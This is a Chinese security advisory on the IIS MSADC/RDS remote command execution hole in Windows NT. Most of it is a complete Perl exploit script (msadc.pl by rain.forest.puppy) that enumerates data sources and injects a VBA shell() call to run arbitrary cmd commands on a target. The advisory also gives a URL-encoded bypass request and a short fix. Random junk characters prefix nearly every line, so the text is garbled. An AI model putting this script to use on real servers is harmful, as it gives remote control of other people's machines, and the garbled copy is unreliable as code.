IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Wk3-J&QbS I:oEt 涉及程序：
Ebj0 {ZL Microsoft NT server
W3Ee3 S9$, .aq 描述：
3) CIqN 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ayn aV E<! L^A
M` 详细：
=AzkE] 如果你没有时间读详细内容的话，就删除:
Vf J{);
c:\Program Files\Common Files\System\Msadc\msadcs.dll
A9SL|9Q 有关的安全问题就没有了。
n2-+.9cY ami>Pp 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
OW=3t#"7Kp g8'8"9:xC 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
"]p&7 关于利用ODBC远程漏洞的描述，请参看:
DFZ@q=ZT w0nbL^f http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ):tv V z]%@r 7 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Jia@Hr LR http://www.microsoft.com/security/bulletins/MS99-025faq.asp z<!A;.iD a""9%./B 这里不再论述。
t1
9f%d e~)4v 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
D5Sbs( 60%fva /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
i83Jy w,f 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
N lm }'Xt lU=VCuW! [];wP '* #将下面这段保存为txt文件，然后: "perl -x 文件名"
IMdp" _(gkYJ+MK #!perl
#
SCLU9- #
&,PA+# # MSADC/RDS 'usage' (aka exploit) script
Z>3 ~n #
[ywF!#'){ # by rain.forest.puppy
Hr}"g@ < #
WhH60/` # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
5"3 `ss<m # beta test and find errors!
I+kL;Y dS 3l `"(5 use Socket; use Getopt::Std;
cy
mC?8< getopts("e:vd:h:XR", \%args);
.Xf_U.h$*@ nXfz@q print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
O,^s)>c Yyd}>+|<, if (!defined $args{h} && !defined $args{R}) {
!~F oy F print qq~
S{2;Pa K Usage: msadc.pl -h <host> { -d <delay> -X -v }
8'3&z- -h <host> = host you want to scan (ip or domain)
u&o4? ] 6 -d <seconds> = delay between calls, default 1 second
G.XxlI} -X = dump Index Server path table, if available
a(O@E%|u -v = verbose
<bCB-lG*Kb -e = external dictionary file for step 5
6K8v:yYPa 6?US<<MQ Or a -R will resume a command session
Fq+Cr?- xA:;wV ~; exit;}
|p+ FIr+ qR2cRepV $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
(d NF)(wn if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
1z2v[S&pk if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
IN1 n^f$: if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
#2Q%sE? $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
%j1 7QD8 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
|SMigSu r` #>_fYjT if (!defined $args{R}){ $ret = &has_msadc;
}2B Ny9q@ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
d@* dbECG +N,Fq/x print "Please type the NT commandline you want to run (cmd /c assumed):\n"
RDQ]_wsyKG . "cmd /c ";
zn = pm#L $in=<STDIN>; chomp $in;
t W $command="cmd /c " . $in ;
s 2N'Ip q2*)e/}H if (defined $args{R}) {&load; exit;}
]!P6Z? tZ@&di:-F print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
BSSeh e* &try_btcustmr;
a8[%-eW, n 78!]O print "\nStep 2: Trying to make our own DSN...";
\?e2qu/ C &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
3bC-B!{;g d@JavcR print "\nStep 3: Trying known DSNs...";
gV ':Xe &known_dsn;
zN +jn t,XbF print "\nStep 4: Trying known .mdbs...";
zTG1 0 &known_mdb;
FChW`b&S xk8NX-: if (defined $args{e}){
G;t< dJ8 print "\nStep 5: Trying dictionary of DSN names...";
]+ qd|}^ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
g_tEUaiK Fgwe `[ print "Sorry Charley...maybe next time?\n";
9_& ]7ABV exit;
$E:z*~ ? ^Vh^Z)gGi ##############################################################################
%O(W;O "AMw o(Yi sub sendraw { # ripped and modded from whisker
bfJ<~ss/ sleep($delay); # it's a DoS on the server! At least on mine...
Q(1R=4?.Z my ($pstr)=@_;
#X!seQ7a socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
],R\oMYy|P die("Socket problems\n");
- 2U|G if(connect(S,pack "SnA4x8",2,80,$target)){
)Rk(gd select(S); $|=1;
d*([!!i print $pstr; my @in=<S>;
Td^62D; select(STDOUT); close(S);
/-@F|,O)$n return @in;
V~o 'L#a } else { die("Can't connect...\n"); }}
#g f0 *:p oM#+Z
qP ##############################################################################
u,YmCEd_V 8h} 1t4k sub make_header { # make the HTTP request
+W[{UC4b my $msadc=<<EOT
0_^3
|n POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
<7ag=IgDy User-Agent: ACTIVEDATA
NgxJz
]b Host: $ip
)
AGE"M3X Content-Length: $clen
UAI'tRY N_ Connection: Keep-Alive
/k\ )q ee Bw\f0 ADCClientVersion:01.06
Ix= (f0| Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
!]7L9TGn 3dtL[aVwY --!ADM!ROX!YOUR!WORLD!
@WKJ7pt`'N Content-Type: application/x-varg
!,7)ZW? *8 Content-Length: $reqlen
r:U<cL T[9 mv*M2NuhT EOT
Ve"M8-{oKk ; $msadc=~s/\n/\r\n/g;
=7~;*T s return $msadc;}
#. }&6ZP XK0lv8( ##############################################################################
?LvxEQ- g TPN1Rnt0` sub make_req { # make the RDS request
PP_ar{|7 my ($switch, $p1, $p2)=@_;
~ me/ve my $req=""; my $t1, $t2, $query, $dsn;
r0'a-Mk; yz NDXA. if ($switch==1){ # this is the btcustmr.mdb query
yWH!v]S $query="Select * from Customers where City=" . make_shell();
U?:?NC=1{ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
FB~IO#E8W $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
G)3r[C^[k jR3 mV elsif ($switch==2){ # this is general make table query
NPE 4@c_a@ $query="create table AZZ (B int, C varchar(10))";
\)g} $dsn="$p1";}
RM25] hx 9I1i(0q elsif ($switch==3){ # this is general exploit table query
<{eJbN p $query="select * from AZZ where C=" . make_shell();
%wJ>V-\e $dsn="$p1";}
N_0B[!B] shY8h
elsif ($switch==4){ # attempt to hork file info from index server
1)-VlQK p $query="select path from scope()";
= |
r%
lx $dsn="Provider=MSIDXS;";}
q { q;X{ h)r=+Q\'(S elsif ($switch==5){ # bad query
QT"o"B $query="select";
.36]> 8 $dsn="$p1";}
| gGD3H Q'^$;X~-< $t1= make_unicode($query);
~!Rf5QA85 $t2= make_unicode($dsn);
b|.<rV'BTt $req = "\x02\x00\x03\x00";
B-$ps=G+z $req.= "\x08\x00" . pack ("S1", length($t1));
}qhND-9#@ $req.= "\x00\x00" . $t1 ;
OR10IS $req.= "\x08\x00" . pack ("S1", length($t2));
" @xL9[d $req.= "\x00\x00" . $t2 ;
*>lXCx $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
`7 Nk; return $req;}
a{}8030S BL\H@D ##############################################################################
p<RI vSqM BDi+ *8 sub make_shell { # this makes the shell() statement
2d OUY
$4 return "'|shell(\"$command\")|'";}
wFL7JwK:G ]#FQde4]5 ##############################################################################
s*e1m % ( d8rfet sub make_unicode { # quick little function to convert to unicode
` P*PCiZos my ($in)=@_; my $out;
WsmP]i^Q for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
dhr- tw return $out;}
llpgi,-= r)dXcus ##############################################################################
zwlz zqV *W4~.peoE sub rdo_success { # checks for RDO return success (this is kludge)
V67<Ky> my (@in) = @_; my $base=content_start(@in);
pvM`j86 _ if($in[$base]=~/multipart\/mixed/){
+'9xTd return 1 if( $in[$base+10]=~/^\x09\x00/ );}
xI5zP?
_v return 0;}
V:8{MO(C\ C^
~[b
o ##############################################################################
`6*1mE1K & 1W>0 sub make_dsn { # this makes a DSN for us
Q3LScpp my @drives=("c","d","e","f");
l]5!$N* print "\nMaking DSN: ";
((fFe8Rn)q foreach $drive (@drives) {
C7MCMM|S print "$drive: ";
7}Jn`^! my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
)5s-"o< "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
T FK#ign . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
U]i Z3^8VT $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
W=!D[G R return 0 if $2 eq "404"; # not found/doesn't exist
4 m_CPe if($2 eq "200") {
DV~g foreach $line (@results) {
%wmbFj} return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
O6\t _. } return 0;}
1F[W~@jW ZX40-6#O ##############################################################################
aw1 f;&K4 k NUNh[ sub verify_exists {
CN#2-[T my ($page)=@_;
T '%R kag> my @results=sendraw("GET $page HTTP/1.0\n\n");
k= .pcDX return $results[0];}
6p~8(-nG .! g ##############################################################################
TI637yqCU V_ H0z sub try_btcustmr {
frbeCBP&) my @drives=("c","d","e","f");
k{+ Gv}Y my @dirs=("winnt","winnt35","winnt351","win","windows");
m^1'aO_;q 9Qc=D"' foreach $dir (@dirs) {
~qb-uT\(99 print "$dir -> "; # fun status so you can see progress
x /?w1 foreach $drive (@drives) {
q>dERN& print "$drive: "; # ditto
I- WR6s= $reqlen=length( make_req(1,$drive,$dir) ) - 28;
x1 1ug $reqlenlen=length( "$reqlen" );
!MD uj $clen= 206 + $reqlenlen + $reqlen;
l|
QQ ap .L= vn my @results=sendraw(make_header() . make_req(1,$drive,$dir));
BGL-lJrG if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
\7tJ)[0aF else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
c8 qw sp h1Q rFPQnu ##############################################################################
}Ld eU:E4 K55]W2I9 sub odbc_error {
ne'Y {n(8% my (@in)=@_; my $base;
Jnq}SUev my $base = content_start(@in);
2~W8tv0^b2 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
NAEAvXj $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?lQ-HO A w $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h
Ap(1h#m $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2@$`xPg
return $in[$base+4].$in[$base+5].$in[$base+6];}
r[km gPld print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
3rVWehCv print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
kntn9G $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
"v5jYz5M 9rM6kLD ##############################################################################
7! #34ue Y-:dPc{ sub verbose {
|F52)<\ my ($in)=@_;
C3e0d~C return if !$verbose;
#w]@yL]|is print STDOUT "\n$in\n";}
+Uf+` Te&5 IB- ##############################################################################
~ #9(Q !l#n.Fx&3 sub save {
FKkL%:? my ($p1, $p2, $p3, $p4)=@_;
,Q>wcE6v open(OUT, ">rds.save") || print "Problem saving parameters...\n";
fdzaM & print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
]s^Pw>/` close OUT;}
t,R4q* Q`[J3-Q*{ ##############################################################################
CJ[^Fi?CH >`Zw0S sub load {
($^=f }+ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$}Ky6sBnvO open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@hIHvLpRB @p=<IN>; close(IN);
_If:~mIs $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
_D~FwF&A $target= inet_aton($ip) || die("inet_aton problems");
3v:c'R0 print "Resuming to $ip ...";
gjex; h $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
1A; f[Rze if($p[1]==1) {
cR/z; *wr7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
y@u,Mv $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
y>_*}>2 ,O my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
$Rv (v% if (rdo_success(@results)){print "Success!\n";}
y,vrMWDy else { print "failed\n"; verbose(odbc_error(@results));}}
Tq!.M1{& elsif ($p[1]==3){
s_Gf7uC if(run_query("$p[3]")){
jL9to6 Hmr print "Success!\n";} else { print "failed\n"; }}
h YU4%"X elsif ($p[1]==4){
}|(v0] if(run_query($drvst . "$p[3]")){
2f7]= snCG print "Success!\n"; } else { print "failed\n"; }}
g)Dg=3+> exit;}
z Feo8S / WJ+e ##############################################################################
R7~#7qKQB X1~ WQ?ww sub create_table {
k5]`: k6 my ($in)=@_;
vHxLn/ $reqlen=length( make_req(2,$in,"") ) - 28;
\ q=Bbfzv $reqlenlen=length( "$reqlen" );
@DA.$zn& $clen= 206 + $reqlenlen + $reqlen;
tA H0o\1; my @results=sendraw(make_header() . make_req(2,$in,""));
.3< sv return 1 if rdo_success(@results);
.]H1uoci| my $temp= odbc_error(@results); verbose($temp);
2vx1M6a)L return 1 if $temp=~/Table 'AZZ' already exists/;
! )PV-[2 return 0;}
AWn$od`#s
I\:(`)"r ##############################################################################
+JRP d.B"@ -mAi7[omh sub known_dsn {
N2Q%/}+, # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
|sklY0?l( my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
oB ZzMTPe "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
i4^1bd "banner", "banners", "ads", "ADCDemo", "ADCTest");
-|nHwSrCZ/ Iji9N!Yx foreach $dSn (@dsns) {
=P\Tk)(` print ".";
kMY1Xb next if (!is_access("DSN=$dSn"));
[ _we nlkm if(create_table("DSN=$dSn")){
"`8~qZ7k print "$dSn successful\n";
?wYvBFRn7" if(run_query("DSN=$dSn")){
K1*]6x, print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3lD1G~ print "Something's borked. Use verbose next time\n";}}} print "\n";}
|\_d^U &` fPu, @
L
##############################################################################
^TCgSi7k`L qJPEq%'Q sub is_access {
w.6 Gp;O my ($in)=@_;
%q)*8 $reqlen=length( make_req(5,$in,"") ) - 28;
QpC,komLJ $reqlenlen=length( "$reqlen" );
.cA'6J"Bm\ $clen= 206 + $reqlenlen + $reqlen;
:bV1M5 my @results=sendraw(make_header() . make_req(5,$in,""));
DQRr(r~2Kj my $temp= odbc_error(@results);
>xJh!w<pB verbose($temp); return 1 if ($temp=~/Microsoft Access/);
w,v~ return 0;}
9$oU6#U,h 1feS/l$ ##############################################################################
pX v@ QD#! t
(> } sub run_query {
&S|%>C{P.w my ($in)=@_;
XDcA&cM}p $reqlen=length( make_req(3,$in,"") ) - 28;
EAi!"NJ $reqlenlen=length( "$reqlen" );
tWN hFQ' $clen= 206 + $reqlenlen + $reqlen;
$ wx)/t< my @results=sendraw(make_header() . make_req(3,$in,""));
wEJ) h1=)^ return 1 if rdo_success(@results);
s`Z'5J;S my $temp= odbc_error(@results); verbose($temp);
v<c@bDZ> return 0;}
d0MF\yxh kz+OUA@ ~ ##############################################################################
;&v~tD7 us
TPr sub known_mdb {
~ Dz`O"X3 my @drives=("c","d","e","f","g");
FSn&N2[D my @dirs=("winnt","winnt35","winnt351","win","windows");
~i ImM|*0 my $dir, $drive, $mdb;
WC <K(PP my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
qS{E+) P s#*T( pY # this is sparse, because I don't know of many
[h^>Iq
(Z my @sysmdbs=( "\\catroot\\icatalog.mdb",
DsZBhjCB "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
4 O OH
3O "\\system32\\certmdb.mdb",
pk,]yi,ZF "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
,]UCq?YW)T GIGC,zP@k my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
JTn\NSa
"\\cfusion\\cfapps\\forums\\forums_.mdb",
//_aIp "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
h<8. 0 "\\cfusion\\cfapps\\security\\realm_.mdb",
?rG>SA>o "\\cfusion\\cfapps\\security\\data\\realm.mdb",
q V +g Q "\\cfusion\\database\\cfexamples.mdb",
D3BT>zTGK "\\cfusion\\database\\cfsnippets.mdb",
?6=u[))M& "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
rbw5 .NU "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
JL1z8Nu "\\cfusion\\brighttiger\\database\\cleam.mdb",
eub2[, "\\cfusion\\database\\smpolicy.mdb",
'ixu+.ZL/ "\\cfusion\\database\cypress.mdb",
jx7b$x] "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
[^4)3cj7} "\\website\\cgi-win\\dbsample.mdb",
9X- w5$< "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
sWc_,[b "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
s
v}o% ); #these are just
eAPNF?0y h foreach $drive (@drives) {
CCQ38P@rv foreach $dir (@dirs){
a\BV%'Zqg foreach $mdb (@sysmdbs) {
fI ([vI print ".";
~ &
@UH if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
71GyMtX print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
#-*#? - if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
0~:Eo89 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Z:2a_A tm } else { print "Something's borked. Use verbose next time\n"; }}}}}
wVms"U. r a 4$/@3n foreach $drive (@drives) {
<@puWm[p foreach $mdb (@mdbs) {
!8 V print ".";
yK3b^ if(create_table($drv . $drive . $dir . $mdb)){
6|-V{ print "\n" . $drive . $dir . $mdb . " successful\n";
hhU:
nw if(run_query($drv . $drive . $dir . $mdb)){
s.p4+K J print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
qQ%RnD9 } else { print "Something's borked. Use verbose next time\n"; }}}}
(-:lO{@FsC }
D ; bHX (v'#~ )R_` ##############################################################################
F^/ 1 u 25zmde~ w sub hork_idx {
P wY~L3, print "\nAttempting to dump Index Server tables...\n";
E9"P~ nz print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
vTdJe $reqlen=length( make_req(4,"","") ) - 28;
hN3*]s;/6z $reqlenlen=length( "$reqlen" );
X '
,0vK $clen= 206 + $reqlenlen + $reqlen;
e2 X\ll my @results=sendraw2(make_header() . make_req(4,"",""));
CC8)yO if (rdo_success(@results)){
g]V_)} my $max=@results; my $c; my %d;
m@Vz42g~+ for($c=19; $c<$max; $c++){
@*VfG CQ( $results[$c]=~s/\x00//g;
Z@G[\"
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
TJY
[s- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
2`?58 & $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ip`oL _c $d{"$1$2"}="";}
jrl'?`O foreach $c (keys %d){ print "$c\n"; }
y| 7sh } else {print "Index server doesn't seem to be installed.\n"; }}
~.*G%TW &V .a0]1IkatV ##############################################################################
$k,wA8OZ- A./ VO sub dsn_dict {
pp2,d`01[L open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Sl!#!FGI while(<IN>){
M:9
6QM~ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
{%"n[DLps next if (!is_access("DSN=$dSn"));
$q
iY )RE if(create_table("DSN=$dSn")){
R'udC} print "$dSn successful\n";
?m(]@6qa if(run_query("DSN=$dSn")){
s6k@W T?"^ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
fK %${ print "Something's borked. Use verbose next time\n";}}}
u Sl&d print "\n"; close(IN);}
u3B[1Ae:K YXi'^GU@ ##############################################################################
UBm L:Qv +' ZJ] sub sendraw2 { # ripped and modded from whisker
>OLKaghV.5 sleep($delay); # it's a DoS on the server! At least on mine...
,DZo E~ my ($pstr)=@_;
0e P ] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3hi0 die("Socket problems\n");
j+9;Cp]N V if(connect(S,pack "SnA4x8",2,80,$target)){
`Nnaw+<] print "Connected. Getting data";
=1vl-*uYh open(OUT,">raw.out"); my @in;
WEnI[JGe select(S); $|=1; print $pstr;
{PTB]D' while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
L2,.af6+ close(OUT); select(STDOUT); close(S); return @in;
P5K=S.g } else { die("Can't connect...\n"); }}
c&mLK1A6 L/Ytk ag ##############################################################################
WCdl 25L # o
_G,Ph!7 sub content_start { # this will take in the server headers
aWCZ1F my (@in)=@_; my $c;
!<8-juY for ($c=1;$c<500;$c++) {
T@ 4R|P&{) if($in[$c] =~/^\x0d\x0a/){
_&wrA3@ /L if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Z"pCDW) else { return $c+1; }}}
[B,w\PLub return -1;} # it should never get here actually
l+vD`aJ 3 wqn HaWd* ##############################################################################
6${=N}3Kw ^vHh*Ub sub funky {
MP3Vo|}3 my (@in)=@_; my $error=odbc_error(@in);
i!a . 6Gq if($error=~/ADO could not find the specified provider/){
) /y7Fh print "\nServer returned an ADO miscofiguration message\nAborting.\n";
3 i;sB exit;}
y v58~w*" if($error=~/A Handler is required/){
mM $|cge" print "\nServer has custom handler filters (they most likely are patched)\n";
^ 5D %)@~ exit;}
..K@'*u if($error=~/specified Handler has denied Access/){
-`8pahI print "\nServer has custom handler filters (they most likely are patched)\n";
+v.<Fw2k# exit;}}
]<xzCP B B@ xjwBUk ##############################################################################
RD SkFK( D #aua 6V!" sub has_msadc {
QhJuH_f 0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
J85S'cwZZ my $base=content_start(@results);
0Xw$l3@N^ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
T 2ZB(B D return 0;}
Dx5X6 t9= + e 87/\5 ########################
4aGV IQ $VxKv7: GiK4LJ~cH) 解决方案：
E~y( @72) 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Vm*E^ v 2、移除web 目录: /msadc
